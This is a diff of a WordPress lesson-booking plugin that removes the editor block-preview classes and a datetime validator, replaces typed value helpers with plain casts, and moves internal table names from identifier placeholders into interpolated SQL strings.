class AvailabilitySlot {
|
class AvailabilitySlot {
|
||||||
|
|
||||||
public function __construct(
|
public function __construct(
|
||||||
@@ -18,35 +16,16 @@ class AvailabilitySlot {
|
|||||||
public readonly ?int $id = null,
|
public readonly ?int $id = null,
|
||||||
) {}
|
) {}
|
||||||
|
|
||||||
/**
|
public static function fromRow( object $row ): self {
|
||||||
* Normalise a submitted slot datetime to canonical `Y-m-d H:i:s`, or null when
|
|
||||||
* it is not a real datetime. Accepts the HTML `datetime-local` form
|
|
||||||
* (`Y-m-d\TH:i`, optionally with seconds) and the canonical form (optionally
|
|
||||||
* without seconds). Anything else — including strings PHP would "helpfully"
|
|
||||||
* coerce — is rejected so garbage never reaches the DATETIME column or throws
|
|
||||||
* inside the weekly-series date arithmetic.
|
|
||||||
*/
|
|
||||||
public static function normalizeDateTime( string $value ): ?string {
|
|
||||||
foreach ( [ 'Y-m-d H:i:s', 'Y-m-d H:i', 'Y-m-d\TH:i:s', 'Y-m-d\TH:i' ] as $format ) {
|
|
||||||
$dt = \DateTimeImmutable::createFromFormat( '!' . $format, $value );
|
|
||||||
if ( false !== $dt && $dt->format( $format ) === $value ) {
|
|
||||||
return $dt->format( 'Y-m-d H:i:s' );
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
public static function fromRow( \stdClass $row ): self {
|
|
||||||
return new self(
|
return new self(
|
||||||
instructorId: Val::int( $row->instructor_id ),
|
instructorId: (int) $row->instructor_id,
|
||||||
startDt: Val::string( $row->start_dt ),
|
startDt: $row->start_dt,
|
||||||
endDt: Val::string( $row->end_dt ),
|
endDt: $row->end_dt,
|
||||||
durationMinutes: Val::int( $row->duration_minutes ),
|
durationMinutes: (int) $row->duration_minutes,
|
||||||
offeringId: Val::intOrNull( $row->offering_id ),
|
offeringId: null !== $row->offering_id ? (int) $row->offering_id : null,
|
||||||
isBooked: Val::bool( $row->is_booked ),
|
isBooked: (bool) $row->is_booked,
|
||||||
recurrenceGroup: Val::intOrNull( $row->recurrence_group ),
|
recurrenceGroup: null !== $row->recurrence_group ? (int) $row->recurrence_group : null,
|
||||||
id: Val::int( $row->id ),
|
id: (int) $row->id,
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -1,114 +0,0 @@
|
|||||||
<?php
|
|
||||||
declare(strict_types=1);
|
|
||||||
|
|
||||||
namespace Unsupervised\Schedular;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Static, script-free markup for the editor previews of the front-end blocks.
|
|
||||||
*
|
|
||||||
* The booking and group-class pages are populated by JavaScript on the live
|
|
||||||
* site, and the registration page requires a valid invite token — none of
|
|
||||||
* which exist inside the block editor. These previews reproduce the same
|
|
||||||
* wrapper elements and CSS classes the live pages use, filled with
|
|
||||||
* representative placeholder content, so themes can be styled against
|
|
||||||
* realistic markup without firing REST calls, redirects, or Stripe.js.
|
|
||||||
*/
|
|
||||||
class BlockPreview {
|
|
||||||
|
|
||||||
public static function booking(): string {
|
|
||||||
$days = [
|
|
||||||
[
|
|
||||||
'label' => __( 'Monday', 'unsupervised-schedular' ),
|
|
||||||
'slots' => [
|
|
||||||
[ '16:00–16:30', 30 ],
|
|
||||||
[ '16:30–17:00', 30 ],
|
|
||||||
],
|
|
||||||
],
|
|
||||||
[
|
|
||||||
'label' => __( 'Wednesday', 'unsupervised-schedular' ),
|
|
||||||
'slots' => [
|
|
||||||
[ '17:00–17:45', 45 ],
|
|
||||||
],
|
|
||||||
],
|
|
||||||
];
|
|
||||||
|
|
||||||
$dayHtml = '';
|
|
||||||
foreach ( $days as $day ) {
|
|
||||||
$slotHtml = '';
|
|
||||||
foreach ( $day['slots'] as $slot ) {
|
|
||||||
$slotHtml .= sprintf(
|
|
||||||
'<div class="us-slot"><span>%s (%d min)</span><button type="button" class="us-book-btn" disabled>%s</button></div>',
|
|
||||||
esc_html( $slot[0] ),
|
|
||||||
(int) $slot[1],
|
|
||||||
esc_html__( 'Book', 'unsupervised-schedular' )
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
$dayHtml .= sprintf(
|
|
||||||
'<div class="us-day"><h3 class="us-day-heading">%s</h3>%s</div>',
|
|
||||||
esc_html( $day['label'] ),
|
|
||||||
$slotHtml
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
return sprintf(
|
|
||||||
'<div id="us-booking-app">%s<div id="us-slot-list">%s</div></div>',
|
|
||||||
self::note( __( 'Editor preview — students see live availability on the published page.', 'unsupervised-schedular' ) ),
|
|
||||||
$dayHtml
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
public static function groupClasses(): string {
|
|
||||||
return sprintf(
|
|
||||||
'<div id="us-group-app">%s<div id="us-group-list"><div class="us-class"><h3>%s</h3><p>%s</p><p>%s</p><p>25.00 CAD</p><button type="button" class="us-enrol-btn" disabled>%s</button></div></div></div>',
|
|
||||||
self::note( __( 'Editor preview — students see live group classes on the published page.', 'unsupervised-schedular' ) ),
|
|
||||||
esc_html__( 'Beginner Group Class', 'unsupervised-schedular' ),
|
|
||||||
esc_html__( 'Saturdays 10:00–11:00', 'unsupervised-schedular' ),
|
|
||||||
esc_html__( 'A sample class shown so the page can be styled.', 'unsupervised-schedular' ),
|
|
||||||
esc_html__( 'Enrol', 'unsupervised-schedular' )
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* The live login form renders fine without any request state, so the
|
|
||||||
* preview includes the real template (the editing user is logged in, which
|
|
||||||
* would otherwise short-circuit to an "already logged in" message).
|
|
||||||
*/
|
|
||||||
public static function login(): string {
|
|
||||||
$error = '';
|
|
||||||
|
|
||||||
ob_start();
|
|
||||||
include USC_PLUGIN_DIR . 'templates/frontend/login-page.php';
|
|
||||||
|
|
||||||
return self::note( __( 'Editor preview — logged-in visitors are offered a link to the booking page instead.', 'unsupervised-schedular' ) ) . (string) ob_get_clean();
|
|
||||||
}
|
|
||||||
|
|
||||||
public static function registration(): string {
|
|
||||||
$fields = sprintf(
|
|
||||||
'<p><label for="us-reg-email">%s</label><input type="email" id="us-reg-email" value="student@example.com" readonly></p>',
|
|
||||||
esc_html__( 'Email', 'unsupervised-schedular' )
|
|
||||||
);
|
|
||||||
$fields .= sprintf(
|
|
||||||
'<p><label for="us-reg-name">%s</label><input type="text" id="us-reg-name"></p>',
|
|
||||||
esc_html__( 'Your name', 'unsupervised-schedular' )
|
|
||||||
);
|
|
||||||
$fields .= sprintf(
|
|
||||||
'<p><label for="us-reg-pass">%s</label><input type="password" id="us-reg-pass"></p>',
|
|
||||||
esc_html__( 'Password', 'unsupervised-schedular' )
|
|
||||||
);
|
|
||||||
$fields .= sprintf(
|
|
||||||
'<p><input type="submit" value="%s" disabled></p>',
|
|
||||||
esc_attr__( 'Create Account', 'unsupervised-schedular' )
|
|
||||||
);
|
|
||||||
|
|
||||||
return sprintf(
|
|
||||||
'<div class="us-register-form">%s<form>%s</form></div>',
|
|
||||||
self::note( __( 'Editor preview — the live form requires a valid invite link and lists signup policies.', 'unsupervised-schedular' ) ),
|
|
||||||
$fields
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
private static function note( string $text ): string {
|
|
||||||
return '<p class="us-editor-note">' . esc_html( $text ) . '</p>';
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,126 +0,0 @@
|
|||||||
<?php
|
|
||||||
declare(strict_types=1);
|
|
||||||
|
|
||||||
namespace Unsupervised\Schedular;
|
|
||||||
|
|
||||||
use Unsupervised\Schedular\Auth\LoginPage;
|
|
||||||
use Unsupervised\Schedular\Auth\RegistrationPage;
|
|
||||||
use Unsupervised\Schedular\Booking\BookingPage;
|
|
||||||
use Unsupervised\Schedular\GroupClass\GroupClassPage;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Registers Gutenberg dynamic-block wrappers for the front-end shortcodes so
|
|
||||||
* the pages can be previewed and styled inside the block editor.
|
|
||||||
*
|
|
||||||
* On the front end each block delegates to the same page object its shortcode
|
|
||||||
* uses, so output is identical either way. Inside the editor (the
|
|
||||||
* block-renderer REST preview used by wp.serverSideRender) a static preview
|
|
||||||
* from BlockPreview is rendered instead — same markup and CSS classes, no
|
|
||||||
* live REST calls, redirects, or Stripe.js.
|
|
||||||
*/
|
|
||||||
class BlockRegistrar {
|
|
||||||
|
|
||||||
public const SCRIPT_HANDLE = 'us-scheduler-blocks';
|
|
||||||
public const STYLE_HANDLE = 'us-scheduler';
|
|
||||||
|
|
||||||
public function __construct(
|
|
||||||
private BookingPage $bookingPage,
|
|
||||||
private LoginPage $loginPage,
|
|
||||||
private RegistrationPage $registrationPage,
|
|
||||||
private GroupClassPage $groupClassPage,
|
|
||||||
) {}
|
|
||||||
|
|
||||||
public function register(): void {
|
|
||||||
add_action( 'init', [ $this, 'registerBlocks' ] );
|
|
||||||
}
|
|
||||||
|
|
||||||
public function registerBlocks(): void {
|
|
||||||
// The editor script registers the client side of each block (title,
|
|
||||||
// icon, shortcode transform) and previews it via wp.serverSideRender.
|
|
||||||
wp_register_script(
|
|
||||||
self::SCRIPT_HANDLE,
|
|
||||||
USC_PLUGIN_URL . 'assets/js/blocks.js',
|
|
||||||
[ 'wp-blocks', 'wp-element', 'wp-block-editor', 'wp-server-side-render', 'wp-i18n' ],
|
|
||||||
USC_VERSION,
|
|
||||||
true
|
|
||||||
);
|
|
||||||
|
|
||||||
// The front-end stylesheet doubles as the block style so editor
|
|
||||||
// previews look like the published page. ShortcodeRegistrar registers
|
|
||||||
// the same handle on the front end, hence the guard.
|
|
||||||
if ( ! wp_style_is( self::STYLE_HANDLE, 'registered' ) ) {
|
|
||||||
wp_register_style( self::STYLE_HANDLE, USC_PLUGIN_URL . 'assets/css/frontend.css', [], USC_VERSION );
|
|
||||||
}
|
|
||||||
|
|
||||||
foreach ( $this->blocks() as $name => $renderCallback ) {
|
|
||||||
register_block_type(
|
|
||||||
$name,
|
|
||||||
[
|
|
||||||
'api_version' => '3',
|
|
||||||
'editor_script' => self::SCRIPT_HANDLE,
|
|
||||||
'style' => self::STYLE_HANDLE,
|
|
||||||
'render_callback' => $renderCallback,
|
|
||||||
]
|
|
||||||
);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Block names mapped to their render callbacks.
|
|
||||||
*
|
|
||||||
* @return array<string, callable(array<string, mixed>): string>
|
|
||||||
*/
|
|
||||||
private function blocks(): array {
|
|
||||||
return [
|
|
||||||
'us-scheduler/booking' => [ $this, 'renderBooking' ],
|
|
||||||
'us-scheduler/student-login' => [ $this, 'renderLogin' ],
|
|
||||||
'us-scheduler/student-register' => [ $this, 'renderRegistration' ],
|
|
||||||
'us-scheduler/group-classes' => [ $this, 'renderGroupClasses' ],
|
|
||||||
];
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Renders the booking block.
|
|
||||||
*
|
|
||||||
* @param array<string, mixed> $attributes Block attributes (unused — the blocks have none yet).
|
|
||||||
*/
|
|
||||||
public function renderBooking( array $attributes = [] ): string { // phpcs:ignore Generic.CodeAnalysis.UnusedFunctionParameter.Found
|
|
||||||
return $this->isEditorPreview() ? BlockPreview::booking() : $this->bookingPage->render( [] );
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Renders the student-login block.
|
|
||||||
*
|
|
||||||
* @param array<string, mixed> $attributes Block attributes (unused — the blocks have none yet).
|
|
||||||
*/
|
|
||||||
public function renderLogin( array $attributes = [] ): string { // phpcs:ignore Generic.CodeAnalysis.UnusedFunctionParameter.Found
|
|
||||||
return $this->isEditorPreview() ? BlockPreview::login() : $this->loginPage->render( [] );
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Renders the student-registration block.
|
|
||||||
*
|
|
||||||
* @param array<string, mixed> $attributes Block attributes (unused — the blocks have none yet).
|
|
||||||
*/
|
|
||||||
public function renderRegistration( array $attributes = [] ): string { // phpcs:ignore Generic.CodeAnalysis.UnusedFunctionParameter.Found
|
|
||||||
return $this->isEditorPreview() ? BlockPreview::registration() : $this->registrationPage->render( [] );
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Renders the group-classes block.
|
|
||||||
*
|
|
||||||
* @param array<string, mixed> $attributes Block attributes (unused — the blocks have none yet).
|
|
||||||
*/
|
|
||||||
public function renderGroupClasses( array $attributes = [] ): string { // phpcs:ignore Generic.CodeAnalysis.UnusedFunctionParameter.Found
|
|
||||||
return $this->isEditorPreview() ? BlockPreview::groupClasses() : $this->groupClassPage->render( [] );
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Whether this render is the editor's block-renderer REST preview rather
|
|
||||||
* than a real front-end page render. Front-end template rendering never
|
|
||||||
* happens inside a REST request, so REST_REQUEST is a reliable signal.
|
|
||||||
*/
|
|
||||||
protected function isEditorPreview(): bool {
|
|
||||||
return defined( 'REST_REQUEST' ) && (bool) constant( 'REST_REQUEST' );
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -10,7 +10,6 @@ use Unsupervised\Schedular\Payment\Payment;
|
|||||||
use Unsupervised\Schedular\Payment\PaymentService;
|
use Unsupervised\Schedular\Payment\PaymentService;
|
||||||
use Unsupervised\Schedular\Policy\PolicyAcceptance;
|
use Unsupervised\Schedular\Policy\PolicyAcceptance;
|
||||||
use Unsupervised\Schedular\Registration\RegistrationGate;
|
use Unsupervised\Schedular\Registration\RegistrationGate;
|
||||||
use Unsupervised\Schedular\Val;
|
|
||||||
|
|
||||||
class BookingEndpoint {
|
class BookingEndpoint {
|
||||||
|
|
||||||
@@ -28,11 +27,6 @@ class BookingEndpoint {
|
|||||||
private PaymentService $payments,
|
private PaymentService $payments,
|
||||||
) {}
|
) {}
|
||||||
|
|
||||||
/**
|
|
||||||
* Registers this endpoint's REST routes.
|
|
||||||
*
|
|
||||||
* @param non-falsy-string $route_namespace REST namespace the routes are registered under (e.g. `us-scheduler/v1`).
|
|
||||||
*/
|
|
||||||
public function registerRoutes( string $route_namespace ): void {
|
public function registerRoutes( string $route_namespace ): void {
|
||||||
register_rest_route(
|
register_rest_route(
|
||||||
$route_namespace,
|
$route_namespace,
|
||||||
@@ -109,7 +103,7 @@ class BookingEndpoint {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public function book( \WP_REST_Request $request ): \WP_REST_Response|\WP_Error {
|
public function book( \WP_REST_Request $request ): \WP_REST_Response|\WP_Error {
|
||||||
$slotId = Val::int( $request->get_param( 'slot_id' ) );
|
$slotId = (int) $request->get_param( 'slot_id' );
|
||||||
$slot = $this->availability->findById( $slotId );
|
$slot = $this->availability->findById( $slotId );
|
||||||
|
|
||||||
if ( null === $slot ) {
|
if ( null === $slot ) {
|
||||||
@@ -126,7 +120,7 @@ class BookingEndpoint {
|
|||||||
// used must belong to the slot's instructor. This prevents substituting a
|
// used must belong to the slot's instructor. This prevents substituting a
|
||||||
// cheaper/free offering to dodge payment, or another instructor's offering
|
// cheaper/free offering to dodge payment, or another instructor's offering
|
||||||
// to misroute it.
|
// to misroute it.
|
||||||
$requestedOfferingId = absint( Val::int( $request->get_param( 'offering_id' ) ) );
|
$requestedOfferingId = absint( $request->get_param( 'offering_id' ) );
|
||||||
$slotOfferingId = (int) ( $slot->offeringId ?? 0 );
|
$slotOfferingId = (int) ( $slot->offeringId ?? 0 );
|
||||||
|
|
||||||
if ( $slotOfferingId > 0 ) {
|
if ( $slotOfferingId > 0 ) {
|
||||||
@@ -148,7 +142,7 @@ class BookingEndpoint {
|
|||||||
}
|
}
|
||||||
|
|
||||||
$answers = $this->answers( $request );
|
$answers = $this->answers( $request );
|
||||||
$acceptedVersionIds = array_values( array_map( static fn( mixed $v ): int => absint( Val::int( $v ) ), (array) $request->get_param( 'accepted_policy_version_ids' ) ) );
|
$acceptedVersionIds = array_map( 'absint', (array) $request->get_param( 'accepted_policy_version_ids' ) );
|
||||||
|
|
||||||
$gateError = $this->gate->validate( $offeringId, $answers, $acceptedVersionIds );
|
$gateError = $this->gate->validate( $offeringId, $answers, $acceptedVersionIds );
|
||||||
if ( $gateError instanceof \WP_Error ) {
|
if ( $gateError instanceof \WP_Error ) {
|
||||||
@@ -156,7 +150,7 @@ class BookingEndpoint {
|
|||||||
}
|
}
|
||||||
|
|
||||||
$studentId = get_current_user_id();
|
$studentId = get_current_user_id();
|
||||||
$notes = Val::string( $request->get_param( 'notes' ) );
|
$notes = (string) $request->get_param( 'notes' );
|
||||||
$recurrence = Lesson::RECURRENCE_WEEKLY === $request->get_param( 'recurrence' )
|
$recurrence = Lesson::RECURRENCE_WEEKLY === $request->get_param( 'recurrence' )
|
||||||
? Lesson::RECURRENCE_WEEKLY
|
? Lesson::RECURRENCE_WEEKLY
|
||||||
: Lesson::RECURRENCE_SINGLE;
|
: Lesson::RECURRENCE_SINGLE;
|
||||||
@@ -218,7 +212,7 @@ class BookingEndpoint {
|
|||||||
private function answers( \WP_REST_Request $request ): array {
|
private function answers( \WP_REST_Request $request ): array {
|
||||||
$out = [];
|
$out = [];
|
||||||
foreach ( (array) $request->get_param( 'answers' ) as $questionId => $value ) {
|
foreach ( (array) $request->get_param( 'answers' ) as $questionId => $value ) {
|
||||||
$out[ (int) $questionId ] = sanitize_text_field( Val::string( $value ) );
|
$out[ (int) $questionId ] = sanitize_text_field( (string) $value );
|
||||||
}
|
}
|
||||||
|
|
||||||
return $out;
|
return $out;
|
||||||
@@ -226,13 +220,13 @@ class BookingEndpoint {
|
|||||||
|
|
||||||
private function clientIp(): ?string {
|
private function clientIp(): ?string {
|
||||||
// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized, WordPress.Security.ValidatedSanitizedInput.MissingUnslash -- IP stored verbatim for audit.
|
// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized, WordPress.Security.ValidatedSanitizedInput.MissingUnslash -- IP stored verbatim for audit.
|
||||||
$ip = sanitize_text_field( Val::string( wp_unslash( $_SERVER['REMOTE_ADDR'] ?? '' ) ) );
|
$ip = sanitize_text_field( wp_unslash( $_SERVER['REMOTE_ADDR'] ?? '' ) );
|
||||||
|
|
||||||
return '' !== $ip ? $ip : null;
|
return '' !== $ip ? $ip : null;
|
||||||
}
|
}
|
||||||
|
|
||||||
public function updateStatus( \WP_REST_Request $request ): \WP_REST_Response|\WP_Error {
|
public function updateStatus( \WP_REST_Request $request ): \WP_REST_Response|\WP_Error {
|
||||||
$id = absint( Val::int( $request->get_param( 'id' ) ) );
|
$id = absint( $request->get_param( 'id' ) );
|
||||||
$lesson = $this->bookings->findById( $id );
|
$lesson = $this->bookings->findById( $id );
|
||||||
|
|
||||||
if ( null === $lesson ) {
|
if ( null === $lesson ) {
|
||||||
@@ -243,7 +237,7 @@ class BookingEndpoint {
|
|||||||
return new \WP_Error( 'forbidden', __( 'You cannot update this booking.', 'unsupervised-schedular' ), [ 'status' => 403 ] );
|
return new \WP_Error( 'forbidden', __( 'You cannot update this booking.', 'unsupervised-schedular' ), [ 'status' => 403 ] );
|
||||||
}
|
}
|
||||||
|
|
||||||
$this->bookings->updateStatus( $id, Val::string( $request->get_param( 'status' ) ) );
|
$this->bookings->updateStatus( $id, (string) $request->get_param( 'status' ) );
|
||||||
|
|
||||||
return new \WP_REST_Response(
|
return new \WP_REST_Response(
|
||||||
[
|
[
|
||||||
|
|||||||
@@ -10,16 +10,14 @@ class BookingPage {
|
|||||||
/**
|
/**
|
||||||
* Renders the booking shortcode output.
|
* Renders the booking shortcode output.
|
||||||
*
|
*
|
||||||
* @param array<string> $atts Shortcode attributes (unused — reserved for future options).
|
* @param array<string, string> $atts Shortcode attributes (unused — reserved for future options).
|
||||||
*/
|
*/
|
||||||
public function render( array $atts ): string { // phpcs:ignore Generic.CodeAnalysis.UnusedFunctionParameter.Found
|
public function render( array $atts ): string { // phpcs:ignore Generic.CodeAnalysis.UnusedFunctionParameter.Found
|
||||||
if ( ! is_user_logged_in() ) {
|
if ( ! is_user_logged_in() ) {
|
||||||
$permalink = get_permalink();
|
|
||||||
|
|
||||||
return sprintf(
|
return sprintf(
|
||||||
'<p>%s <a href="%s">%s</a>.</p>',
|
'<p>%s <a href="%s">%s</a>.</p>',
|
||||||
esc_html__( 'Please', 'unsupervised-schedular' ),
|
esc_html__( 'Please', 'unsupervised-schedular' ),
|
||||||
esc_url( wp_login_url( false === $permalink ? '' : $permalink ) ),
|
esc_url( wp_login_url( get_permalink() ) ),
|
||||||
esc_html__( 'log in to book a lesson', 'unsupervised-schedular' )
|
esc_html__( 'log in to book a lesson', 'unsupervised-schedular' )
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -80,7 +80,7 @@ class BookingRepository {
|
|||||||
|
|
||||||
public function findById( int $id ): ?Lesson {
|
public function findById( int $id ): ?Lesson {
|
||||||
$row = $this->db->get_row(
|
$row = $this->db->get_row(
|
||||||
$this->db->prepare( 'SELECT * FROM %i WHERE id = %d', $this->table, $id )
|
$this->db->prepare( "SELECT * FROM {$this->table} WHERE id = %d", $id )
|
||||||
);
|
);
|
||||||
|
|
||||||
return $row ? Lesson::fromRow( $row ) : null;
|
return $row ? Lesson::fromRow( $row ) : null;
|
||||||
@@ -96,14 +96,12 @@ class BookingRepository {
|
|||||||
|
|
||||||
$rows = $this->db->get_results(
|
$rows = $this->db->get_results(
|
||||||
$this->db->prepare(
|
$this->db->prepare(
|
||||||
'SELECT l.* FROM %i l
|
"SELECT l.* FROM {$this->table} l
|
||||||
JOIN %i a ON a.id = l.slot_id
|
JOIN {$avTable} a ON a.id = l.slot_id
|
||||||
WHERE l.instructor_id = %d
|
WHERE l.instructor_id = %d
|
||||||
AND l.status != %s
|
AND l.status != %s
|
||||||
AND a.start_dt >= %s
|
AND a.start_dt >= %s
|
||||||
ORDER BY a.start_dt ASC',
|
ORDER BY a.start_dt ASC",
|
||||||
$this->table,
|
|
||||||
$avTable,
|
|
||||||
$instructorId,
|
$instructorId,
|
||||||
Lesson::STATUS_CANCELLED,
|
Lesson::STATUS_CANCELLED,
|
||||||
current_time( 'mysql' )
|
current_time( 'mysql' )
|
||||||
@@ -121,13 +119,11 @@ class BookingRepository {
|
|||||||
|
|
||||||
return (int) $this->db->get_var(
|
return (int) $this->db->get_var(
|
||||||
$this->db->prepare(
|
$this->db->prepare(
|
||||||
'SELECT COUNT(*) FROM %i l
|
"SELECT COUNT(*) FROM {$this->table} l
|
||||||
JOIN %i a ON a.id = l.slot_id
|
JOIN {$avTable} a ON a.id = l.slot_id
|
||||||
WHERE l.student_id = %d
|
WHERE l.student_id = %d
|
||||||
AND l.status != %s
|
AND l.status != %s
|
||||||
AND a.start_dt >= %s',
|
AND a.start_dt >= %s",
|
||||||
$this->table,
|
|
||||||
$avTable,
|
|
||||||
$studentId,
|
$studentId,
|
||||||
Lesson::STATUS_CANCELLED,
|
Lesson::STATUS_CANCELLED,
|
||||||
current_time( 'mysql' )
|
current_time( 'mysql' )
|
||||||
@@ -143,8 +139,7 @@ class BookingRepository {
|
|||||||
public function findByStudent( int $studentId ): array {
|
public function findByStudent( int $studentId ): array {
|
||||||
$rows = $this->db->get_results(
|
$rows = $this->db->get_results(
|
||||||
$this->db->prepare(
|
$this->db->prepare(
|
||||||
'SELECT * FROM %i WHERE student_id = %d ORDER BY created_at DESC',
|
"SELECT * FROM {$this->table} WHERE student_id = %d ORDER BY created_at DESC",
|
||||||
$this->table,
|
|
||||||
$studentId
|
$studentId
|
||||||
)
|
)
|
||||||
);
|
);
|
||||||
@@ -162,13 +157,11 @@ class BookingRepository {
|
|||||||
|
|
||||||
$rows = $this->db->get_results(
|
$rows = $this->db->get_results(
|
||||||
$this->db->prepare(
|
$this->db->prepare(
|
||||||
'SELECT l.* FROM %i l
|
"SELECT l.* FROM {$this->table} l
|
||||||
JOIN %i a ON a.id = l.slot_id
|
JOIN {$avTable} a ON a.id = l.slot_id
|
||||||
WHERE l.status != %s
|
WHERE l.status != %s
|
||||||
AND a.start_dt >= %s
|
AND a.start_dt >= %s
|
||||||
ORDER BY a.start_dt ASC',
|
ORDER BY a.start_dt ASC",
|
||||||
$this->table,
|
|
||||||
$avTable,
|
|
||||||
Lesson::STATUS_CANCELLED,
|
Lesson::STATUS_CANCELLED,
|
||||||
current_time( 'mysql' )
|
current_time( 'mysql' )
|
||||||
)
|
)
|
||||||
|
|||||||
+11
-13
@@ -3,8 +3,6 @@ declare(strict_types=1);
|
|||||||
|
|
||||||
namespace Unsupervised\Schedular\Booking;
|
namespace Unsupervised\Schedular\Booking;
|
||||||
|
|
||||||
use Unsupervised\Schedular\Val;
|
|
||||||
|
|
||||||
class Lesson {
|
class Lesson {
|
||||||
|
|
||||||
public const STATUS_PENDING = 'pending';
|
public const STATUS_PENDING = 'pending';
|
||||||
@@ -41,18 +39,18 @@ class Lesson {
|
|||||||
public readonly ?int $id = null,
|
public readonly ?int $id = null,
|
||||||
) {}
|
) {}
|
||||||
|
|
||||||
public static function fromRow( \stdClass $row ): self {
|
public static function fromRow( object $row ): self {
|
||||||
return new self(
|
return new self(
|
||||||
slotId: Val::int( $row->slot_id ),
|
slotId: (int) $row->slot_id,
|
||||||
studentId: Val::int( $row->student_id ),
|
studentId: (int) $row->student_id,
|
||||||
instructorId: Val::int( $row->instructor_id ),
|
instructorId: (int) $row->instructor_id,
|
||||||
offeringId: Val::intOrNull( $row->offering_id ),
|
offeringId: null !== $row->offering_id ? (int) $row->offering_id : null,
|
||||||
recurrence: Val::string( $row->recurrence ),
|
recurrence: $row->recurrence,
|
||||||
seriesId: Val::intOrNull( $row->series_id ),
|
seriesId: null !== $row->series_id ? (int) $row->series_id : null,
|
||||||
status: Val::string( $row->status ),
|
status: $row->status,
|
||||||
paymentId: Val::intOrNull( $row->payment_id ),
|
paymentId: null !== $row->payment_id ? (int) $row->payment_id : null,
|
||||||
notes: Val::stringOrNull( $row->notes ),
|
notes: $row->notes,
|
||||||
id: Val::int( $row->id ),
|
id: (int) $row->id,
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -6,7 +6,6 @@ namespace Unsupervised\Schedular\Booking;
|
|||||||
use Unsupervised\Schedular\Auth\RoleManager;
|
use Unsupervised\Schedular\Auth\RoleManager;
|
||||||
use Unsupervised\Schedular\Payment\Payment;
|
use Unsupervised\Schedular\Payment\Payment;
|
||||||
use Unsupervised\Schedular\Payment\PaymentRepository;
|
use Unsupervised\Schedular\Payment\PaymentRepository;
|
||||||
use Unsupervised\Schedular\Val;
|
|
||||||
|
|
||||||
class LessonController {
|
class LessonController {
|
||||||
|
|
||||||
@@ -49,11 +48,10 @@ class LessonController {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// phpcs:disable WordPress.Security.NonceVerification.Missing -- nonce checked above.
|
// phpcs:disable WordPress.Security.NonceVerification.Missing -- nonce checked above.
|
||||||
$action = sanitize_key( Val::string( wp_unslash( $_POST['usc_action'] ) ) );
|
$action = sanitize_key( wp_unslash( $_POST['usc_action'] ?? '' ) );
|
||||||
$paymentId = absint( Val::int( $_POST['payment_id'] ?? 0 ) );
|
$paymentId = absint( $_POST['payment_id'] ?? 0 );
|
||||||
$email = sanitize_email( Val::string( wp_unslash( $_POST['etransfer_email'] ?? '' ) ) );
|
$email = sanitize_email( wp_unslash( $_POST['etransfer_email'] ?? '' ) );
|
||||||
// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.MissingUnslash, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Val::float() coerces to float; slashes cannot survive numeric coercion.
|
$taxRate = isset( $_POST['tax_rate'] ) ? max( 0.0, (float) $_POST['tax_rate'] ) : 0.0;
|
||||||
$taxRate = isset( $_POST['tax_rate'] ) ? max( 0.0, Val::float( $_POST['tax_rate'] ) ) : 0.0;
|
|
||||||
// phpcs:enable WordPress.Security.NonceVerification.Missing
|
// phpcs:enable WordPress.Security.NonceVerification.Missing
|
||||||
|
|
||||||
if ( $paymentId <= 0 || ! in_array( $action, [ 'set_etransfer', 'set_tax' ], true ) ) {
|
if ( $paymentId <= 0 || ! in_array( $action, [ 'set_etransfer', 'set_tax' ], true ) ) {
|
||||||
|
|||||||
@@ -3,8 +3,6 @@ declare(strict_types=1);
|
|||||||
|
|
||||||
namespace Unsupervised\Schedular\GroupClass;
|
namespace Unsupervised\Schedular\GroupClass;
|
||||||
|
|
||||||
use Unsupervised\Schedular\Val;
|
|
||||||
|
|
||||||
class Enrollment {
|
class Enrollment {
|
||||||
|
|
||||||
public const STATUS_ACTIVE = 'active';
|
public const STATUS_ACTIVE = 'active';
|
||||||
@@ -27,14 +25,14 @@ class Enrollment {
|
|||||||
public readonly ?int $id = null,
|
public readonly ?int $id = null,
|
||||||
) {}
|
) {}
|
||||||
|
|
||||||
public static function fromRow( \stdClass $row ): self {
|
public static function fromRow( object $row ): self {
|
||||||
return new self(
|
return new self(
|
||||||
offeringId: Val::int( $row->offering_id ),
|
offeringId: (int) $row->offering_id,
|
||||||
studentId: Val::int( $row->student_id ),
|
studentId: (int) $row->student_id,
|
||||||
instructorId: Val::int( $row->instructor_id ),
|
instructorId: (int) $row->instructor_id,
|
||||||
status: Val::string( $row->status ),
|
status: $row->status,
|
||||||
paymentId: Val::intOrNull( $row->payment_id ),
|
paymentId: null !== $row->payment_id ? (int) $row->payment_id : null,
|
||||||
id: Val::int( $row->id ),
|
id: (int) $row->id,
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -10,7 +10,6 @@ use Unsupervised\Schedular\Payment\Payment;
|
|||||||
